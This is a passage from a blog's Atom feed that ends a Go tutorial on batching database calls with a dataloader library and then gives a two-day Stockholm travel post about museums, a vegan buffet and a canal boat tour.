</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">59
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">60
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">61
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">62
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">63
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">64
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">65
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">66
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">67
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">68
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">69
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">70
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">71
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#268bd2">type</span> FakeDBServiceWithBatching <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>    dbService  DBService
</span></span><span style="display:flex;"><span>    dataloader <span style="color:#719e07">*</span>dataloader.Loader
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// This is where the magic of batching configuration happens</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">newDBServiceWithBatching</span>(dbService DBService) <span style="color:#719e07">*</span>FakeDBServiceWithBatching {
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// setup batch function - the first Context passed to the Loader&#39;s Load</span>
</span></span><span style="display:flex;"><span>    <span style="color:#586e75">// function will be provided when the batch function is called.</span>
</span></span><span style="display:flex;"><span>    batchFn <span style="color:#719e07">:=</span> <span style="color:#268bd2">func</span>(ctx context.Context, keys dataloader.Keys) []<span style="color:#719e07">*</span>dataloader.Result {
</span></span><span style="display:flex;"><span>        results <span style="color:#719e07">:=</span> <span style="color:#b58900">make</span>([]<span style="color:#719e07">*</span>dataloader.Result, <span style="color:#2aa198">0</span>, <span style="color:#b58900">len</span>(keys))
</span></span><span style="display:flex;"><span>        dbResults <span style="color:#719e07">:=</span> dbService.<span style="color:#268bd2">GetScores</span>(ctx, <span style="color:#268bd2">getStudentIDs</span>(keys))
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">for</span> _, dbResult <span style="color:#719e07">:=</span> <span style="color:#719e07">range</span> dbResults {
</span></span><span style="display:flex;"><span>            results = <span style="color:#b58900">append</span>(results, <span style="color:#719e07">&amp;</span>dataloader.Result{Data: dbResult, Error: dbResult.Err})
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> results
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> <span style="color:#719e07">&amp;</span>FakeDBServiceWithBatching{
</span></span><span style="display:flex;"><span>        dbService: dbService,
</span></span><span style="display:flex;"><span>        dataloader: dataloader.<span style="color:#268bd2">NewBatchedLoader</span>(batchFn,
</span></span><span style="display:flex;"><span>            dataloader.<span style="color:#268bd2">WithClearCacheOnBatch</span>(),
</span></span><span style="display:flex;"><span>            dataloader.<span style="color:#268bd2">WithWait</span>(<span style="color:#2aa198">10</span><span style="color:#719e07">*</span>time.Millisecond),
</span></span><span style="display:flex;"><span>            dataloader.<span style="color:#268bd2">WithBatchCapacity</span>(<span style="color:#2aa198">10</span>)),
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// This transparently batches calls to the underlying DBService</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// at most 10 requests - configured via dataloader.WithBatchCapacity</span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// and at most 10 ms of batch filling time  - configured via dataloader.WithWait</span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (f FakeDBServiceWithBatching) <span style="color:#268bd2">GetScore</span>(ctx context.Context, studentID <span style="color:#dc322f">int</span>) Result {
</span></span><span style="display:flex;"><span>    thunk <span style="color:#719e07">:=</span> f.dataloader.<span style="color:#268bd2">Load</span>(ctx, <span style="color:#268bd2">newIntKey</span>(studentID))
</span></span><span style="display:flex;"><span>    result, err <span style="color:#719e07">:=</span> <span style="color:#268bd2">thunk</span>()
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">if</span> err <span style="color:#719e07">!=</span> <span style="color:#cb4b16">nil</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#719e07">return</span> Result{<span style="color:#cb4b16">nil</span>, err}
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> Result{
</span></span><span style="display:flex;"><span>        Score: result.(Result).Score,
</span></span><span style="display:flex;"><span>        Err:   <span style="color:#cb4b16">nil</span>,
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (f FakeDBServiceWithBatching) <span style="color:#268bd2">GetScores</span>(ctx context.Context, studentID []<span style="color:#dc322f">int</span>) []Result {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> f.dbService.<span style="color:#268bd2">GetScores</span>(ctx, studentID)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#586e75">// Unnecessary boilerplate that will go away with Go Generics eventually</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">getStudentIDs</span>(keys dataloader.Keys) []<span style="color:#dc322f">int</span> {
</span></span><span style="display:flex;"><span>    studentIDs <span style="color:#719e07">:=</span> <span style="color:#b58900">make</span>([]<span style="color:#dc322f">int</span>, <span style="color:#2aa198">0</span>, <span style="color:#b58900">len</span>(keys))
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">for</span> _, key <span style="color:#719e07">:=</span> <span style="color:#719e07">range</span> keys {
</span></span><span style="display:flex;"><span>        studentIDs = <span style="color:#b58900">append</span>(studentIDs, key.<span style="color:#268bd2">Raw</span>().(<span style="color:#dc322f">int</span>))
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> studentIDs
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">type</span> IntKey <span style="color:#268bd2">struct</span> {
</span></span><span style="display:flex;"><span>    Key <span style="color:#dc322f">int</span>
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> <span style="color:#268bd2">newIntKey</span>(key <span style="color:#dc322f">int</span>) IntKey {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> IntKey{key}
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (i IntKey) <span style="color:#268bd2">String</span>() <span style="color:#dc322f">string</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> fmt.<span style="color:#268bd2">Sprintf</span>(<span style="color:#2aa198">&#34;%d&#34;</span>, i.Key)
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#268bd2">func</span> (i IntKey) <span style="color:#268bd2">Raw</span>() <span style="color:#268bd2">interface</span>{} {
</span></span><span style="display:flex;"><span>    <span style="color:#719e07">return</span> i.Key
</span></span><span style="display:flex;"><span>}</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, replace <code>FakeDBService</code> with <code>FakeDBServiceWithBatching</code></p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>fakeDBService <span style="color:#719e07">:=</span> <span style="color:#268bd2">newDBServiceWithBatching</span>(FakeDBService{})</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>That&rsquo;s it, now, your service is ready for implicit batch requests!</p>
<p>You can test it by running Go Routines, for example,</p>
<p>Replace</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span>result <span style="color:#719e07">:=</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), studentID)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>with</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Go
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">2
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">3
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">4
</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">5
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-go" data-lang="go"><span style="display:flex;"><span><span style="color:#719e07">go</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), <span style="color:#2aa198">1</span>)
</span></span><span style="display:flex;"><span><span style="color:#719e07">go</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), <span style="color:#2aa198">5</span>)
</span></span><span style="display:flex;"><span><span style="color:#719e07">go</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), <span style="color:#2aa198">10</span>)
</span></span><span style="display:flex;"><span><span style="color:#719e07">go</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), <span style="color:#2aa198">21</span>)
</span></span><span style="display:flex;"><span>result <span style="color:#719e07">:=</span> fakeDBService.<span style="color:#268bd2">GetScore</span>(request.<span style="color:#268bd2">Context</span>(), studentID)</span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>And this will print the log</p>
<div>
    <style>
        .window {
            border-radius: 10px;
            margin-top: 10px;
            margin-bottom: 10px;
            min-width: 300px;
            box-shadow: 0 0 20px rgba(0, 0, 0, 0.5);
             
             
            background-color: #002b36;
            overflow: hidden;
        }

        .title-bar {
             
             
             
            background-color: #002b36;
            height: 28px;
            display: flex;
            align-items: center;
            padding: 0 12px;
            position: relative;
        }

        .title-bar .buttons {
            display: flex;
            gap: 8px;
        }

        .title-bar .button {
            width: 12px;
            height: 12px;
            border-radius: 50%;
            display: inline-block;
            position: relative;
            opacity: 0.9;
            transition: opacity 0.3s ease;
        }

        .title-bar .button:hover {
            opacity: 1;
        }

        .title-text {
            text-align:center;
            width: 80%;
            opacity:0.2;
        }

        .button {
            margin: 0;
        }

        .button.close {
            background-color: #ff5f57;
        }

        .button.minimize {
            background-color: #ffbd2e;
        }

        .button.maximize {
            background-color: #28c940;
        }

        .button::before {
            content: '';
            position: absolute;
            top: 50%;
            left: 50%;
            transform: translate(-50%, -50%);
            opacity: 0;
            transition: opacity 0.3s ease;
        }

        .button:hover::before {
            opacity: 1;
        }

        .button.close::before {
            content: '×';
            font-size: 14px;
            color: #4c0102;
        }

        .button.minimize::before {
            content: '−';
            font-size: 14px;
            color: #5a4001;
        }

        .button.maximize::before {
            content: '+';
            font-size: 14px;
            color: #0b4201;
        }
    </style>

    <script>

    function hideContent(minimizeButton) {
        getContent(minimizeButton).style.display = "None";
    }

    function showContent(maximizeButton) {
        getContent(maximizeButton).style.display = "block";
    }

    function removeCode(closeButton) {
        closeButton.parentNode.parentNode.parentNode.remove();
    }

    function getContent(btn) {
        return btn.parentNode.parentNode.parentNode.getElementsByClassName("content")[0];
    }


    </script>

    <div class="window">
        <div class="title-bar">
            <div class="buttons" style="min-width: 50px;">
                <span class="button close" onclick="removeCode(this)"></span>
                <span class="button minimize" onclick="hideContent(this)"></span>
                <span class="button maximize" onclick="showContent(this)"></span>
            </div>
            <div class="title-text">
                Bash
            </div>
        </div>
        <div class="content">
            
            <div class="highlight"><div style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;">
<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#495050">1
</span></code></pre></td>
<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%">
<pre tabindex="0" style="color:#93a1a1;background-color:#002b36;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>GetScores called with student IDs: <span style="color:#719e07">[</span><span style="color:#2aa198">999</span> <span style="color:#2aa198">1</span> <span style="color:#2aa198">21</span> <span style="color:#2aa198">10</span> 5<span style="color:#719e07">]</span></span></span></code></pre></td></tr></table>
</div>
</div>
        </div>
    </div>
</div><p>Now, of course, you might wonder if this would batch on a per-request basis and that&rsquo;s because that&rsquo;s how we configured it. We can always use <code>request.Background()</code> and then this would batch multiple requests into one. And that&rsquo;s usually best for an API service.</p>
]]></content><category scheme="https://ashishb.net/category/programming" term="programming" label="programming"/></entry><entry><title type="html">Two days in Stockholm, Sweden</title><link href="https://ashishb.net/travel/stockholm-sweden/?utm_source=atom_feed" rel="alternate" type="text/html"/><link href="https://ashishb.net/travel/copenhagen/?utm_source=atom_feed" rel="related" type="text/html" title="Copenhagen"/><link href="https://ashishb.net/travel/malta/?utm_source=atom_feed" rel="related" type="text/html" title="Malta in winters"/><link href="https://ashishb.net/travel/belgium/antwerp/?utm_source=atom_feed" rel="related" type="text/html" title="A day in Antwerp, Belgium"/><link href="https://ashishb.net/travel/belgium/brussels/?utm_source=atom_feed" rel="related" type="text/html" title="Two days in Brussels, Belgium"/><link href="https://ashishb.net/travel/france/paris/?utm_source=atom_feed" rel="related" type="text/html" title="Three days in overhyped Paris"/><id>https://ashishb.net/travel/stockholm-sweden/</id><author><name>Ashish Bhatia</name></author><published>2023-06-10T16:00:43+00:00</published><updated>2023-06-10T16:00:43+00:00</updated><content type="html"><![CDATA[<blockquote>Explore Stockholm&rsquo;s history with a Nobel Prize Museum visit, enjoy vegan delights at Hermans, and cruise the canals on an unforgettable boat tour! #TravelStockholm</blockquote><h3 id="day-1">Day 1</h3>
<p>We started the trip with the   
    
    
<a href="https://www.nobelprize.org/about/nobel-museum/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Nobel Prize Museum</a>, which comes with access to an interactive   
    
    
<a href="https://audio.nobelprizemuseum.se/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Audio Guide</a>.
It takes 2-3 hours to fully check it out.</p>
<figure>
    
    <a href="Stockholm-nobel-prize-museum-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-nobel-prize-museum-1-768x1024.jpg"
         alt="A museum entrance with a sign for an audio guide" width="900"/> </a>
</figure>

<p>Then, we headed to the Swedish History Museum. It has free entry.
And is good if you like checking out 1000-year gold jewelry.
However, 
<a href="/travel/copenhagen/">the Danish museum</a> is superior to Nordic history.</p>
<figure>
    
    <a href="Stockholm-swedish-history-museum-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-swedish-history-museum-1-768x1024.jpg"
         alt="A display case in a museum showcasing gold jewelry from Norse history" width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-swedish-history-museum-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-swedish-history-museum-2-768x1024.jpg"
         alt="Stockholm History Museum" width="900"/> </a>
</figure>

<p>From here, we headed to a 30-year-old vegan restaurant   
    
    
<a href="https://hermans.se/en/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Hermans</a> for a 200 SEK buffet, I would highly recommend it.</p>
<figure>
    
    <a href="Stockholm-hermans-buffet-835x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-hermans-buffet-835x1024.jpg"
         alt="A buffet spread at Hermans restaurant in Stockholm, showcasing various dishes on a table under soft lighting." width="900"/> </a>
</figure>

<h3 id="day-2">Day 2</h3>
<p>We started the day with a   
    
    
<a href="https://freetourstockholm.com/?utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">walking tour</a> that gave us a good understanding of the history and geography of the city.</p>
<figure>
    
    <a href="Stockholm-Gustav-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-Gustav-2-768x1024.jpg"
         alt="A historic-style hand pump in Stockholm stands surrounded by cobblestone streets, contributing to the city&#39;s old-world charm and historical atmosphere." width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-hand-pump-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-hand-pump-768x1024.jpg"
         alt="A hand pump in Stockholm" width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-Iron-boy-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-Iron-boy-1024x768.jpg"
         alt="Iron Boy Stockholm" width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-fake-windows-to-minimize-taxes-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-fake-windows-to-minimize-taxes-768x1024.jpg"
         alt="A small bronze sculpture of a seated boy in Gamla Stan, Stockholm, known as Järnpojke, or Iron Boy, reflecting light in an outdoor setting." width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-water-fountain.jpeg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-water-fountain.jpeg"
         alt="A red brick building in Stockholm features false windows painted on the exterior to reduce taxes, illustrating architectural adaptation in a historical context." width="900"/> </a>
</figure>

<p>Afterward, we did an &quot;   
    
    
<a href="https://www.getyourguide.com/stockholm-l50/stockholm-under-the-bridges-boat-tour-t63533/?partner_id=1KDEBAA&amp;utm_medium=online_publisher&amp;placement=content-middle&amp;utm_source=https://ashishb.net&amp;utm_medium=referral&amp;utm_campaign=blog" rel="nofollow noopener">Under the Bridges</a>&quot; boat tour that takes you through different canals and even cross locks.</p>
<figure>
    
    <a href="Stockholm-boat-tour-1-water-lock-crossing-1024x768.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-boat-tour-1-water-lock-crossing-1024x768.jpg"
         alt="A boat navigates through a canal, crossing a lock, part of a Stockholm boat tour experience that highlights waterway travel." width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-boat-tour-2-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-boat-tour-2-768x1024.jpg"
         alt="A boat in Stockholm navigates a water lock, surrounded by historic architecture" width="900"/> </a>
</figure>

<figure>
    
    <a href="Stockholm-boat-tour-3-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-boat-tour-3-768x1024.jpg"
         alt="A sightseeing boat sails through a canal in Stockholm, surrounded by urban landscape and lush greenery, capturing a moment from a city boat tour." width="900"/> </a>
</figure>

<p>And with this, we ended our short sojourn.</p>
<figure>
    
    <a href="Stockholm-fountain-1-1-768x1024.jpg" data-dimbox="" data-dimbox-caption="" >
    <img loading="lazy" src="Stockholm-fountain-1-1-768x1024.jpg"
         alt="A gorgeous fountain in Stockholm" width="900"/> </a>
</figure>

<p>Note:</p>
<ol>
<li>Relative to 
<a href="/travel/copenhagen/">Copenhagen</a>, Stockholm feels rural and less walkable.</li>
<li>Credit cards are well accepted, no need to carry cash anywhere.</li>
<li>ARN Airport to Stockholm city 
<a href="/travel/public-transport-guide/">train</a> is expensive (130 SEK) as the train stations are in different zones. However, one can take the train between Stockholm to Märsta and the bus between Märsta train station and Arlington (ARN) airport for 39 SEK instead. This cheaper route is ~ 10-mins longer.</li>
</ol>
